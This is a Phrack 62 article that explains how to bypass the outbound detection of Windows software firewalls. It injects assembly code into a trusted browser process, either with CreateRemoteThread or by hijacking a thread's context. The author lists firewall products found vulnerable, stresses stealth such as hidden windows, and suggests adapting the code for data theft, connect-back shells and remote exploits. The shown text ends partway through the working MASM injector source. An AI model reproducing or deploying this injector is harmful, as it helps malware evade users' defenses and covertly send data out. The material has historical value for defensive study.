TUCoPS :: Phrack Inc. Issue #62 :: p62-0x0d.txt

Phrack 62 File 13: Bypassing Windows personal fw with process infection


                           ==Phrack Inc.==

              Volume 0x0b, Issue 0x3e, Phile #0x0d of 0x10

|=--=[  Using Process Infection to Bypass Windows Software Firewalls ]=--=|
|=-----------------------------------------------------------------------=|
|=---------------------------=[ rattle ]=--------------------------------=|


-[0x00] :: Table Of Contents ---------------------------------------------

  [0x01] introduction
  [0x02] how software firewalls work
  [0x03] process Infection without external .dll
  [0x04] problems of implementation
  [0x05] how to implement it
  [0x06] limits of this implementation
  [0x07] workaround: another infection method
  [0x08] conclusion
  [0x09] last words

  [0x0A] references

  [0x0B] injector source code
  [0x0C] Tiny bypass source code
  [0x0D] binaries (base64)



-[0x01] :: introduction --------------------------------------------------

 This entire document refers to a feature of software firewalls
 available for Windows OS, which is called "outbound detection".
 This feature has nothing to do with the original idea of a
 firewall, blocking incomming packets from the net: The outbound
 detection mechanism is ment to protect the user from malicious
 programs that run on his own computer - programs attempting to
 communicate with a remote host on the Internet and thereby
 leaking sensible information. In general, the outbound detection
 controls the communication of local applications with the
 Internet.

 In a world with an increasing number of trojan horses, worms
 and virii spreading in the wild, this is actually a very handy
 feature and certainly, it is of good use. However, ever since 
 I know about software firewalls, I have been wondering whether
 they could actually provide a certain level of security at all:
 After all, they are just software supposed protect you against
 other software, and this sounds like bad idea to me. 

 To make a long story short, this outbound detection can be
 bypassed, and that's what will be discussed in this paper.
 I moreover believe that if it is possible to bypass this one
 restriction, it is somehow possible to bypass other restrictions
 as well. Personal firewalls are software, trying to control
 another piece of software. It should in any case be possible
 to turn this around by 180 degrees, and create a piece of 
 software that controls the software firewall.

 Also, how to achieve this in practice is part of the discussion
 that will follow: I will not just keep on talking about abstract
 theory. It will be explained and illustrated with sample source
 code how to bypass a software firewall by injecting code to a
 trusted process. It might be interesting to you that the method
 of runtime process infection that will be presented and explained
 does not require an external DLL - the bypass can be performed
 by a stand-alone and tiny executable.

 Thus, this paper is also about coding, especially Win32 coding.
 To understand the sample code, you should be familiar with
 Windows, the Win32 API and basic x86 Assembler. It would also be 
 good to know something about the PE format and related things,
 but it is not necessary, as far as I can see. I will try to
 explain everything else as precisely as possible. 

 Note: If you find numbers enclosed in normal brackets within
 the document, these numbers are references to further sources.
 See [0x0A] for more details.



-[0x02] :: how software firewalls work -----------------------------------

 Of course, I can only speak about the software firewalls I have
 seen and tested so far, but I am sure that these applications
 are among the most widely used ones. Since all of them work in a
 very similar way, I assume that the concept is a general concept
 of software firewalls. 

 Almost every modern software firewall provides features that
 simulate the behaviour of hardware firewalls by allowing the
 user to block certain ports. I have not had a close look on
 these features and once more I want to emphasize that breaking
 these restrictions is outside the scope of this paper. 

 Another important feature of most personal firewalls is the 
 concept of giving privileges and different levels of trust to
 different processes that run on the local machine to provide a
 measure of outbound detection. Once a certain executable creates
 a process attempting to access the network, the executable file
 is checksummed by the software firewall and the user is prompted
 whether or not he wants to trust the respective process.

 To perform this task, the software firewall is most probably
 installing kernel mode drivers and hooks to monitor and intercept
 calls to low level networking routines provided by the Windows OS
 core. Appropriately, the user can trust a process to connect() to
 another host on the Internet, to listen() for connections or to
 perform any other familiar networking task. The main point is: As
 soon as the user gives trust to an executable, he also gives
 trust to any process that has been created from that executable.
 However, once we change the executable, its checksum would no
 longer match and the firewall would be alerted. 

 So, we know that the firewall trusts a certain process as long as
 the executable that created it remains the same. We also know that
 in most cases, a user will trust his webbrowser and his email
 client.




-[0x03] :: process Infection without external .dll -----------------------

 The software firewall will only calculate and analyze the checksum
 for an executable upon process creation. After the process has
 been loaded into memory, it is assumed to remain the same until it
 terminates.

 And since I have already spoken about runtime process infection, 
 you certainly have guessed what will follow. If we cannot alter
 the executable, we will directly go for the process and inject
 our code to its memory, run it from there and bypass the firewall
 restriction. 

 If this was a bit too fast for you, no problem. A process is
 loaded into random access memory (RAM) by the Windows OS as soon
 as a binary, executable file is executed. Simplified, a process
 is a chunk of binary data that has been placed at a certain
 address in memory. In fact, there is more to it. Windows does a
 lot more than just writing binary data to some place in memory.
 For making the following considerations, none of that should
 bother you, though.

 For all of you who are already familiar with means of runtime
 process infection - I really dislike DLL injection for this
 purpose, simply because there is definitely no option that could
 be considered less elegant or less stealthy.

 In practice, DLL injection means that the executable that
 performs the bypass somehow carries the additional DLL it
 requires. Not only does this heaviely increase the size of the
 entire code, but this DLL also has to be written to HD on the
 affected system to perform the bypass. And to be honest - if 
 you are really going to write some sort of program that needs
 a working software firewall bypass, you exactly want to avoid 
 this sort of flaws. Therefore, the presented method of runtime
 process infection will work completely without the need of any
 external DLL and is written in pure x86 Assembly.

 To sum it all up: All that is important to us now is the ability
 to get access to a process' memory, copy our own code into that
 memory and execute the code remotely in the context of that
 process.

 Sounds hard? Not at all. If you have a well-founded knowledge of
 the Win32 API, you will also know that Windows gives a programmer
 everything he needs to perform such a task. The most important
 API call that comes to mind probably is CreateRemoteThread().
 Quoting MSDN (1):

  The CreateRemoteThread function creates a thread that 
  runs in the address space of another process. 

  HANDLE CreateRemoteThread(
    HANDLE hProcess,
    LPSECURITY_ATTRIBUTES lpThreadAttributes,
    DWORD dwStackSize,
    LPTHREAD_START_ROUTINE lpStartAddress,
    LPVOID lpParameter,
    DWORD dwCreationFlags,
    LPDWORD lpThreadId
  );

 Great, we can execute code at a certain memory address inside
 another process and we can even pass one DWORD of information as
 a parameter to it. Moreover, we will need the following 2 API
 calls:
   
  VirtualAllocEx() 
  WriteProcessMemory() 

 they give us the power to inject our own arbitrary code to the
 address space of another process - and once it is there, we will
 create a thread remotely to execute it.
 
 To sum everything up: We will create a binary executable that
 carries the injection code as well as the code that has to be
 injected in order to bypass the software firewall. Or, speaking
 in high-level programming terms: We will create an exe file that
 holds two functions, one to inject code to a trusted process
 and one function to be injected.
 


-[0x04] :: problems of this implementation -------------------------------

 It all sounds pretty easy now, but it actually is not. For
 instance, you will barely be able to write an application in C
 that properly injects another (static) C function to a remote
 process. In fact, I can almost guarantee you that the remote
 process will crash. Although you can call the relevant API calls
 from C, there are much more underlying problems with using a
 high level language for this purpose. The essence of all these
 problems can be summed up as follows: compilers produce ASM code
 that uses hardcoded offsets. A simple example: Whenever you use
 a constant C string, this C string will be stored at a certain
 position within the memory of your resulting executable, and any
 reference to it will be hardcoded. This means, when your process
 needs to pass the address of that string to a function, the
 address will be completely hardcoded in the binary code of your
 executable. 

 Consider: 

  void main() {
      printf("Hello World");
      return 0;
  }

 Assume that the string "Hello World" is stored at offset 0x28048
 inside your executable. Moreover, the executable is known to
 load at a base address of 0x00400000. In this case, the binary
 code of your compiled and linked executable will somewhere refer
 to the address 0x00428048 directly. 

 A disassembly of such a sample application, compiled with Visual
 C++ 6, looks like this:

   00401597 ...
   00401598 push 0x00428048  ; the hello world string
   0040159D call 0x004051e0  ; address of printf
   0040159E ...
 
 What is the problem with such a hardcoded address? If you stay
 inside your own address space, there is no problem. However ...
 once you move that code to another address space, all those
 memory addresses will point to entirely different things. The
 hello world string in my example is more than 0x20000 = 131072
 bytes away from the actual program code. So, if you inject that
 code to another process space, you would have to make sure that
 at 0x00428048, there is a valid C string ... and even if there
 was something like a C string, it would certainly not be 
 "Hello World". I guess you get the point.

 This is just a simple example and does not even involve all the
 problems that can occur. However, also the addresses of all
 function calls are hardcoded, like the address of the printf
 function in our sample. In another process space, these
 functions might be somewhere else or they could even be missing
 completely - and this leads to the most weird errors that you
 can imagine. The only way to make sure that all the addresses
 are correct and that every single CPU instruction fits, we have
 to write the injected code in ASM.
 
 Note: There are several working implementations for an outbound 
 detection bypass for software firewalls on the net using a
 dynamic link library injection. This means, the implementation
 itself consists of one executable  and a DLL. The executable
 forces a trusted process to load the DLL, and once it has been
 loaded into the address space of this remote process, the DLL
 itself performs any arbitrary networking task. This way to bypass
 the detection works very well and it can be implemented in a high
 level language easiely, but I dislike the dependency on an
 external DLL, and therefore I decided to code a solution with one
 single stand-alone executable that does the entire injection by
 itself. Refer to (2) for an example of a DLL injection bypass.

 Also, LSADUMP2 (3) uses exactly the same measure to grab
 the LSA secrets from LSASS.EXE and it is written in C.



-[0x05] :: how to implement it -------------------------------------------

 Until now, everything is just theory. In practice, you will
 always encounter all kinds of problems when writing code like
 this. Furthermore, you will have to deal with detail questions
 that have only partially to do with the main problem. Thus,
 let us leave the abstract part behind and think about how to
 write some working code.

 Note: I strongly recommend you to browse the source code in
 [A] while reading this part, and it would most definitely be a
 good idea to have a look at it before reading [0x0B].

 First of all, we want to avoid as much hardcoded elements as
 possible. And the first thing we need is the file path to the
 user's default browser. Rather than generally refering to 
 "C:\Program Files\Internet Explorer\iexplore.exe", we will
 query the registry key at "HKCR\htmlfile\shell\open\command".

 Ok, this will be rather easy, I assume you know how to query
 the registry. The next thing to do is calling CreateProcess().
 The wShowWindow value of the STARTUP_INFO structure passed to
 the function should be something like SW_HIDE in order to keep
 the browser window hidden.

 Note: If you want to make entirely sure that no window is
 displayed on the user's screen, you should put more effort
 into this. You could, for instance, install a hook to keep all
 windows hidden that are created by the process or do similar
 things. I have only tested my example with Internet Explorer
 and the SW_HIDE trick works well with it. In fact, it should
 work with most applications that have a more or less simple
 graphical user interface.

 To ensure that the process has already loaded the most
 essential libraries and has reached a generally stable state,
 we use the WaitForInputIdle() call to give the process some
 time for intialization. 

 So far, so good - now we proceed by calling VirtualAllocEx()
 to allocate memory within the created process and with
 WriteProcessMemory(), we copy our networking code. Finally, 
 we use CreateRemoteThread() to run that code and then, we only
 have to wait until the thread terminates. All in all, the
 injection itself is not all that hard to perform.

 The function that will be injected can receive a single 
 argument, one double word. In the example that will be 
 presented in [0x0B], the injected procedure connects to 
 www.phrack.org on port 80 and sends a simple HTTP GET request.
 After receiving the header, it displays it in a message box.
 Since this is just a very basic example of a working firewall
 bypass code, our injected procedure will do everything on its
 own and does not need any further information.
 
 However, we will still use the parameter to pass a 32 bit
 value to our injected procedure: its own "base address". Thus,
 the injected code knows at which memory address it has been 
 placed, in the conetxt of the remote process. This is very
 important as we cannot directly read from the EIP register
 and because our injected code will sometimes have to refer to
 memory addresses of data structures inside the injected code
 itself.
 
 Once injected and placed within the remote process, the 
 injected code basically knows nothing. The first important
 task is finding the kernel32.dll base address in the context
 of the remote process and from there, get the address of the
 GetProcAddress function to load everything else we need. I
 will not explain in detail how these values are retrieved,
 the entire topic cannot be covered by this paper. If you are
 interested in details, I recommend the paper about Win32
 assembly components by the Last Stage of Delirium research
 group (4). I used large parts of their write-up for the 
 code that will be described in the following paragraphs.

 In simple terms, we retrieve the kernel32 base address from
 the Process Environment Block (PEB) structure which itself
 can be found inside the Thread Environment Block (TEB). The
 offset of the TEB is always stored within the FS register,
 thus we can easiely get the PEB offset as well. And since
 we know where kernel32.dll has been loaded, we just need to
 loop through its exports section to find the address of
 GetProcAddress(). If you are not familiar with the PE format,
 don't worry.

 A dynamic link library contains a so-called exports section.
 Within this section, the offsets of all exported functions
 are assigned to human-readable names (strings). In fact,
 there are two arrays inside this section that interest us.
 There are actually more than 2 arrays inside the exports
 section, but we will only use these two lists. For the rest
 of this paper, I will treat the terms "list" and "array"
 equally, the formal difference is of no importance at this
 level of programming. One array is a list of standard,
 null-terminated C-strings. They contain the function names.
 The second list holds the function entry points (the
 offsets). 

 We will do something very similar to what GetProcAddress()
 itself does: We will look for "GetProcAddress" in the first
 list and find the function's offset within the second array
 this way. 

 Unfortunately, Microsoft came up with an idea for their DLL
 exports that makes everything much more complicated. This
 idea is named "forwarders" and basically means that one DLL
 can forward the export of a function to another DLL. Instead
 of pointing to the offset of a function's code inside the DLL,
 the offset from the second array may also point to a null-
 terminated string. For instance, the function HeapAlloc() from
 kernel32.dll is forwarded to the RtlAllocateHeap function in
 ntdll.dll. This means that the alleged offset of HeapAlloc()
 in kernel32.dll will not be the offset of a function that has
 been implemented in kernel32.dll, but it will actually be the
 offset of a string that has been placed inside kernel32.dll.
 This particular string is "NTDLL.RtlAllocateHeap".
  
 After a while, I could figure out that this forwarder-string
 is placed immediately after the function's name in array #1.
 Thus, you will find this chunk of data somewhere inside 
 kernel32.dll:

   48 65 61 70 41 6C 6C 6F    HeapAllo
   63 00 4E 54 44 4C 4C 2E    c.NTDLL.
   52 74 6C 41 6C 6C 6F 63    RtlAlloc
   61 74 65 48 65 61 70 00    ateHeap.

   = "HeapAlloc\0NTDLL.RtlAllocateHeap\0"

 This is, of course, a bit confusing as there are now more null-
 terminated strings in the first list than offsets in the second
 list - every forwarder seems like a function name itself.
 However, bearing this in mind, we can easiely take care of the
 forwarders in our code.

 To identify the "GetProcAddress" string, I also make use of a
 hash function for short strings which is presented by LSD group
 in their write-up (4). The hash function looks like this in C:

 unsigned long hash(const char* strData) {
   unsigned long hash = 0;
   char* tChar = (char*) strData;
   while (*tChar) hash = ((hash<<5)|(hash>>27))+*tChar++;
   return hash;
 }

 The calculated hash for "GetProcAddr" is, 0x099C95590 and we
 will search for a string in the exports section of kernel32.dll
 that matches this string. Once we have the address of
 GetProcAddress() and the base address of kernel32, we can
 easiely load all other API calls and libraries we need. From
 here, everything left to do is loading ws2_32.dll and using the
 socket system calls from that library to do whatever we want. 

 Note: I'd suggest to read [0x0B] now.



-[0x06] :: limits of this implementation ---------------------------------

 The sample code presented in this little paper will give you a
 tiny executable that runs in RING3. I am certain that most
 software firewalls contain kernel mode drivers with the ability
 to perform more powerful tasks than this injector executable.
 Therefore, the capabilities of the bypass code are obviously
 limited. I have tested the bypass against several software
 firewalls and got the following results:

   Zone Alarm 4        vulnerable
   Zone Alarm Pro 4    vulnerable
   Sygate Pro 5.5      vulnerable
   BlackIce 3.6        vulnerable
   Tiny 5.0            immune

 Tiny alerts the user that the injector executable spawns the
 browser process, trying to access the network this way. It looks
 like Tiny simply acts exactly like all the other software
 firewalls do, but it is just more careful. Tiny also hooks API
 calls like CreateProcess() and CreateRemoteThread() - thus, it
 can protect its users from this kind of bypass.
 
 Anyway, by the test results I obtained, I was even more
 confirmed that software firewalls act as kernel mode drivers,
 hooking API calls to monitor networking activity.

 Thus, I have not presented a firewall bypass that works in 100%
 of all possible cases. It is just an example, a proof for the
 general possibility to perform a bypass.



-[0x07] :: workaround: another infection method --------------------------

 Phrack Staff suggested to present a workaround for the problem
 with Tiny by infecting an already running, trusted process. 
 I was certain that this would not be the only thing to take 
 care of, since Tiny would most likely be hooking our best friend,
 CreateRemoteThread(). Unfortunately, I actually figured out that
 I had been right, and merely infecting an already running
 process did not work against Tiny.

 However, there are other ways to force execution of our own
 injected code, and I will briefly explain my workaround for
 those of you who are interested. All I am trying to prove here 
 is that you can outsmart any software firewall if you put some
 effort into coding an appropriate bypass.

 The essential API calls we will need are GetThreadContext() and
 appropriately, SetThreadContext(). These two briefly documented
 functions allow you to modify the CONTEXT of a thread. What is
 the CONTEXT of a thread? The CONTEXT structure contains the
 current value of all CPU registers in the context of a certain
 thread. Hence, with the two API calls mentioned above, you can
 retrieve these values and, more importantly, apply new values
 to each CPU register in the thread's context as well. Of high
 interest to us is the EIP register, the instruction pointer for
 a thread.

 First of all, we will simply find an already running, trusted
 process. Then, as always, we write our code to its memory using
 the methods already discussed before. This time, however, we
 will not create a new thread that starts at the address of our
 injected code, we will rather hijack the primary thread of the
 trusted process by changing its instruction pointer to the
 address of our own code.

 That's the essential theory behind this second bypass, at least.
 In practice, we will proceed more cautiously to be as stealthy
 as possible. First of all, we will not simply write the injection
 function to the running process, but several other ASM codes as
 well, in order to return to the original context of the hijacked
 thread once our injected code has finished its work. As you can
 see from the ASM source code in [0x0C], we want to copy a chunk
 of shellcode to the process that looks like this in a debugger:
  
  <base + 0x00> PUSHAD             ; safe all registers
  <base + 0x01> PUSHFD             ; safe all flags
  <base + 0x02> PUSH <base + 0x13> ; first argument: own address
  <base + 0x07> CALL <base + 0x13> ; call the injected code
  <base + 0x0C> POPFD              ; restore flags
  <base + 0x0D> POPAD              ; restore registers
  <base + 0x0E> JMP <orignal EIP>  ; "restore" original context
  <base + 0x13> ...                ; inject function starts here

 Remember, this code is being injected at a memory offset very
 far away from the original context of the thread. That's why
 we will need a 4 byte - relative address for the JMP.

 All in all, this is an easy and simple solution to avoid that
 our trusted process just crashes after the injected code has
 run. Moreover, I decided to use an event object that becomes
 signaled by the injected code once the HTTP request has been
 performed successfully. This way, the injector executable
 itself is informed once the injected routine has finished its
 job. We can then deallocate the remote memory and perform a
 general cleanup. Stealthieness is everything.

 I should say that [0x0C] is a bit more fragile and less reliable
 than the first bypass shown in [0x0B]. However, this second one
 will definitely work against all tested firewalls and most
 probably also against others. Nevertheless, you should bear in
 mind that it assumes Internet Explorer to be a trusted process
 without looking up anything in the registry or elsewhere.

 Furthermore, I only used this second bypass together with a 
 running instance of Internet Explorer, other applications might
 require you not to hijack the primary thread, but another one.
 The primary thread is usually a safe bet as we can assume that
 it does not block or idle at the moment of infection. However,
 it could theoretically also happen that the program's interface
 suddenly freezes because the injected code is running rather 
 than the code that was intended to run. With this very sample
 program and internet explorer, I did not encounter such
 problems, though. It also works with "OUTLOOK.EXE" and others, 
 so I think it can be considered a good and stable approach.
  


-[0x08] :: conclusion ----------------------------------------------------

 I feel that I can be satisfied with the test results I obtained.
 Although the injector executable is generally inferior to a
 kernel mode software firewall, it could easiely trick 80% of the
 most popular software firewall products.  

 My second bypass even works against all of them, and I am as sure
 as I can be that an appropriate bypass can actually be coded for
 every single software firewall. Both of the sample codes merely
 send a simple HTTP request, but it would actually be quite easy
 to have them perform any other networking task. For instance,
 sending an email with sensitive information would work exactly
 the same way. The injected code would just have to be more 
 sophisticated or rather, larger than the sample provided here. 

 Bearing in mind that I achieved this with a 5k user-mode
 application, I am certain that it would be even more easy to
 bypass any software firewall with an appropriate piece of code
 running in RING0, eventually hooking low level calls itself.
 Who knows, perhaps this technique is already being used by
 people who did the same sort of research. The overall conclusion
 is: software firewalls are insecure. And I am very much at ease
 with this generalization: The concept of a software firewall,
 not the implementation, is the main problem.

 Software can not protect you from other software without being
 at constant risk to be tricked by another piece of software
 again. 

 Why is this a risk? This is in fact a huge risk because software
 firewalls ARE being used on Windows Workstations widely. Within
 a network, it is commonplace to use both software and hardware
 firewalls. Moreover, the software firewalls in such networks only
 serve the very purpose of protecting the network from backdoor
 programs by supplying some sort of outbound detection. And after
 all, this protection is obviously too weak.

 Apart from the danger for privately used computers, which have
 hereby been proven to be insufficiently protected against trojan
 horses and worms, exploitation of a remote Windows Workstation 
 using a software firewall can most definitely involve the use of
 methods described in this paper. The ASM code for the two bypass
 samples can be transformed into shellcode for any remote Windows
 exploit. Once a service a Windows network is found to be
 vulnerable to a remote exploit, it would be also possible to
 overcome the outbound detection of the respective software
 firewall this way.

 The sample applications connect to www.phrack.org on port 80,
 but you can actually infect a trusted process and have it
 do about anything along the lines of providing a shell by
 connecting back to your IP.



-[0x09] :: Last Words ----------------------------------------------------

 I'd like to emphasize that I am not responsible for anyone using
 that sample code with his/her homemade trojan to leech porn from
 his friend's PC. Seriously, this is just a sample for educational
 purposes, it should not be used for any kind of illegal purpose. 
 
 Thanks a lot to Paris2K for helping me with developing and
 testing the injector app. Good luck and success with your thesis.

 Greets and thanks to drew, cube, the_mystic - and also many
 thanks to you, jason ... for all your helpful advice. 

 If you want or need to contact me:


   Email, MSN - rattle@awarenetwork.org
          ICQ - 74684282
      Website - http://www.awarenetwork.org/


 .aware



-[0x0A] :: References ----------------------------------------------------

 These are links to projects and papers that have been 
 referenced somewhere inside this document.
 
 (1) The MSDN library provides Windows programmers with almost
     all the reference they need, no doubt about that.

     http://msdn.microsoft.com/
 
 (2) Another project that bypasses the outbound detection
     of software firewalls. Unfortunately, no source code
     is available and it also uses and external DLL:

     http://keir.net/firehole.html

 (3) LSADUMP2 is the only C source code I found that 
     illustrates the method of injecting a DLL into another
     process' address space:

     http://razor.bindview.com/tools/desc/lsadump2_readme.html
 
 (4) Many respect to the LSD research group for their nice
     and easy-to-read paper "Win32 Assembly Components":

     http://www.lsd-pl.net/documents/winasm-1.0.1.pdf

     Perhaps you might want to check out their entire projects
     section:

     http://lsd-pl.net/projects.html

 (5) Negatory Assembly Studio is my favourite x86 ASM IDE, 
     as far as an IDE for Assembly makes sense at all. You
     might need it for the ASM source code provided as I
     make use of it's "standard library" for Win32 calls:

     http://www.negatory.com/asmstudio/




-[0x0B] :: injector.exe source code --------------------------------------

Here you go, this is the injector ASM code. I used Negatory Assembly
Studio 1.0 to create the executable, a nice freeware IDE for creating
programs in ASM for Windows (5). It internally uses the MASM Assembler
and linker, so you might also manage to use the code with MASM only
(you will be lacking the includes, though).


.386
.MODEL flat, stdcall

  INCLUDE   windows.inc
  INCLUDE   kernel32.inc
  INCLUDE   advapi32.inc
  INCLUDE   user32.inc


  bypass    PROTO NEAR STDCALL, browser:DWORD  ; injector function
  inject    PROTO NEAR STDCALL, iBase:DWORD    ; injected function
        

;       The PSHS macro is used to push the address of some
;       structure onto the stack inside the remote process'
;       address space. iBase contains the address where the
;       injected code starts. 

PSHS    MACRO  BUFFER
        MOV    EDX, iBase
        ADD    EDX, OFFSET BUFFER - inject
        PUSH   EDX
        ENDM
               
;       The LPROC macro assumes that pGetProcAddress holds
;       the address of the GetProcAddress() API call and
;       simulates its behaviour. PROCNAME is a string inside
;       the injected code that holds the function name and
;       PROCADDR is a DWORD variable inside the injected
;       code that will retrieve the address of that function.
;       BASEDLL, as the name suggests, should hold the 
;       base address of the appropriate DLL.
         
LPROC   MACRO  BASEDLL, PROCNAME, PROCADDR
        PSHS   PROCNAME
        PUSH   BASEDLL
        CALL   pGetProcAddress
        EJUMP  INJECT_ERROR
        MOV    PROCADDR, EAX
        ENDM

EJUMP   MACRO  TARGET_CODE ; jump when EAX is 0.
        CMP    EAX, 0
        JE     TARGET_CODE
        ENDM        
            

.DATA

        sFail               DB  "Injection failed.",0
        sCapFail            DB  "Failure",0

        REG_BROWSER_SUBKEY  DB  "htmlfile\shell\open\command",0
        REG_BROWSER_KEY     DD  ?
        
        BROWSER             DB  MAX_PATH DUP(0)
        BR_SIZE             DD  MAX_PATH

        FUNCSZE             EQU inject_end - inject
          
.CODE


Main:   ; We retrieve the defaul browser path from the
        ; registry by querying HKCR\htmlfile\shell\open\command


        INVOKE  RegOpenKey, HKEY_CLASSES_ROOT, \
                ADDR REG_BROWSER_SUBKEY, ADDR REG_BROWSER_KEY

        CMP     EAX, ERROR_SUCCESS
        JNE     RR
        
        INVOKE  RegQueryValue, REG_BROWSER_KEY, \
                EAX, ADDR BROWSER, ADDR BR_SIZE

        INVOKE  RegCloseKey, REG_BROWSER_KEY


        ; Now we call the bypass function by supplying the
        ; path to the browser as the first argument.
        
        INVOKE  bypass, OFFSET BROWSER


RR:     INVOKE  ExitProcess, 0
    
 
    
bypass  PROC NEAR STDCALL, browser:DWORD

        LOCAL   sinf                 :STARTUPINFO
        LOCAL   pinf                 :PROCESS_INFORMATION
        
        LOCAL   dwReturn             :DWORD ; return value
        LOCAL   dwRemoteThreadID     :DWORD ; thread ID
        LOCAL   thRemoteThreadHandle :DWORD ; thread handle
        LOCAL   pbRemoteMemory       :DWORD ; base address 


        ; Get our own startupinfo details out of lazieness
        ; and alter the wShowWindow attribute to SW_HIDE

        INVOKE  GetStartupInfo,ADDR sinf
        MOV     sinf.wShowWindow, SW_HIDE

        
        ; Create the brwoser process and WaitForinputIdle()
        ; to give it some time for initialization

        INVOKE  CreateProcess,0,browser,0,0,0,0,0,0, \
                ADDR sinf,ADDR pinf                        
        EJUMP   ERR_CLEAN
                        
        INVOKE  WaitForInputIdle, pinf.hProcess, 10000
        CMP     EAX,0
        JNE     ERR_CLEAN
        
        MOV     EBX, pinf.hProcess
        MOV     ECX, pinf.hThread


        ; Allocate memory in the remote process' address
        ; space and use WriteProcessMemory() to copy the
        ; code of the inject procedure.
        
        MOV     EDX, FUNCSZE
        INVOKE  VirtualAllocEx,EBX,0,EDX,MEM_COMMIT, \
                PAGE_EXECUTE_READWRITE
        EJUMP   ERR_SUCC
        
        MOV     pbRemoteMemory,EAX
        MOV     EDX,FUNCSZE        
        
        INVOKE  WriteProcessMemory,EBX,pbRemoteMemory, \
                inject, EDX, 0
        EJUMP   ERR_CLEAN_VF
        

        ; The code has been copied, create a thread that
        ; starts at the remote address

        INVOKE  CreateRemoteThread,EBX,0,0,pbRemoteMemory, \
                pbRemoteMemory, 0, ADDR dwRemoteThreadID        
        EJUMP   ERR_CLEAN_TH
        
        MOV     thRemoteThreadHandle,EAX
        MOV     dwReturn,0


        ; Wait until the remote thread terminates and see what the
        ; return value looks like. The inject procedure will return
        ; a boolean value in EAX, indicating whether or not it was
        ; successful.
        
        INVOKE  WaitForSingleObject,thRemoteThreadHandle,INFINITE
        INVOKE  GetExitCodeThread,thRemoteThreadHandle,ADDR dwReturn
        
        ; If the return value equals 0, an error has occured and we
        ; will display a failure MessageBox() 

        CMP     dwReturn, 0
        JNE     ERR_CLEAN_TH
 
        INVOKE  MessageBox, 0, OFFSET sFail, OFFSET sCapFail, 16
        
ERR_CLEAN_TH:
        INVOKE  CloseHandle,thRemoteThreadHandle
ERR_CLEAN_VF:
        INVOKE  VirtualFreeEx, EBX, pbRemoteMemory, 0, MEM_RELEASE
ERR_CLEAN:
        INVOKE  TerminateProcess, EBX, 0
        INVOKE  CloseHandle,pinf.hThread
        INVOKE  CloseHandle,pinf.hProcess
ERR_SUCC:
        RET

bypass  ENDP 



inject  PROC NEAR STDCALL, iBase:DWORD

        LOCAL k32base          :DWORD
        LOCAL expbase          :DWORD
        LOCAL forwards         :DWORD
                        
        LOCAL pGetProcAddress  :DWORD
        LOCAL pGetModuleHandle :DWORD
        LOCAL pLoadLibrary     :DWORD
        LOCAL pFreeLibrary     :DWORD
                        
        LOCAL pMessageBox      :DWORD
        LOCAL u32base          :DWORD
        LOCAL ws32base         :DWORD
                        
        LOCAL pWSAStartup      :DWORD
        LOCAL pWSACleanup      :DWORD
        
        LOCAL pSocket          :DWORD
        LOCAL pConnect         :DWORD
        LOCAL pSend            :DWORD
        LOCAL pRecv            :DWORD
        LOCAL pClose           :DWORD
                        
        JMP IG


        sGetModuleHandle DB "GetModuleHandleA" ,0
        sLoadLibrary     DB "LoadLibraryA"     ,0
        sFreeLibrary     DB "FreeLibrary"      ,0
                        
        sUser32          DB "USER32.DLL"       ,0
        sMessageBox      DB "MessageBoxA"      ,0
                        
        sGLA             DB "GetLastError"     ,0
        sWLA             DB "WSAGetLastError"  ,0
                        
        sWS2_32          DB "ws2_32.dll"       ,0
        sWSAStartup      DB "WSAStartup"       ,0
        sWSACleanup      DB "WSACleanup"       ,0
        sSocket          DB "socket"           ,0
        sConnect         DB "connect"          ,0
        sSend            DB "send"             ,0
        sRecv            DB "recv"             ,0
        sClose           DB "closesocket"      ,0

        wsa LABEL BYTE
         wVersion        DW 0
         wHighVersion    DW 0
         szDescription   DB WSADESCRIPTION_LEN+1 DUP(0)
         szSystemStatus  DB WSASYS_STATUS_LEN+1 DUP(0)
         iMaxSockets     DW 0
         iMaxUdpDg       DW 0
         lpVendorInfo    DD 0
                        
        sAddr LABEL BYTE
         sin_family      DW AF_INET
         sin_port        DW 05000H
         sin_addr        DD 006EE3745H
         sin_zero        DQ 0
                        

                
        sStartC          DB "SetUp Complete",0
        sStart           DB "Injector SetUp complete. ", \
                            "Sending request:",13,10,13,10
                
        sRequ            DB "GET / HTTP/1.0",13,10, \
                            "Host: www.phrack.org",\
                            13,10,13,10,0
                        
        sCap             DB "Injection successful",0
        sRepl            DB 601 DUP(0)

                  
IG:     ASSUME  FS:NOTHING           ; This is a MASM error bypass.      

        MOV     EAX, FS:[030H]       ; Get the Process Environment Block
        TEST    EAX, EAX             ; Check for Win9X
        JS      W9X

WNT:    MOV     EAX, [EAX+00CH]      ; WinNT: get PROCESS_MODULE_INFO
        MOV     ESI, [EAX+01CH]      ; Get fLink from ordered module list
        LODSD                        ; Load the address of bLink into eax
        MOV     EAX, [EAX+008H]      ; Copy the module base from the list
        JMP     K32                  ; Work done

W9X:    MOV     EAX, [EAX+034H]      ; Undocumented offset (0x34)
        LEA     EAX, [EAX+07CH]      ; ...
        MOV     EAX, [EAX+03CH]      ; ...
K32:    MOV     k32base,EAX          ; Keep a copy of the base address
        MOV     pGetProcAddress, 0   ; now search for GetProcAddress
        MOV     forwards,0           ; Set the forwards to 0 initially

        MOV     pWSACleanup, 0       ; we will need these for error -
        MOV     ws32base, 0          ; checks lateron

        ADD     EAX,[EAX+03CH]       ; pointer to IMAGE_NT_HEADERS
        MOV     EAX,[EAX+078H]       ; RVA of exports directory
        ADD     EAX,k32base          ; since RVA: add the base address
        MOV     expbase,EAX          ; IMAGE_EXPORTS_DIRECTORY
                        
        MOV     EAX,[EAX+020H]       ; RVA of the AddressOfNames array
        ADD     EAX,k32base          ; add the base address
                        
        MOV     ECX,[EAX]            ; ECX: RVA of the first string
        ADD     ECX,k32base          ; add the base address
        
        MOV     EAX,0                ; EAX will serve as a counter
        JMP     M2                   ; start looping

M1:     INC     EAX                  ; Increase EAX every loop
M2:     MOV     EBX, 0               ; EBX will be the calculated hash

HASH:   MOV     EDX, EBX
        SHL     EBX, 05H
        SHR     EDX, 01BH
        OR      EBX, EDX
        MOV     EDX, 0
        MOV      DL, [ECX]           ; Copy current character to DL
        ADD     EBX, EDX             ; and add DL to the hash value
        INC     ECX                  ; increase the string pointer
        MOV      DL, [ECX]           ; next character in DL, now:
        CMP     EDX, 0               ; check for null character
        JNE     HASH


        ; This is where we take care of the forwarders.
        ; we will always subtract the number of forwarders
        ; that already occured from our iterator (EAX) to
        ; retrieve the appropriate offset from the second
        ; array. 

        PUSH    EAX                  ; Safe EAX to the stack
        SUB     EAX,forwards         ; Subtract forwards
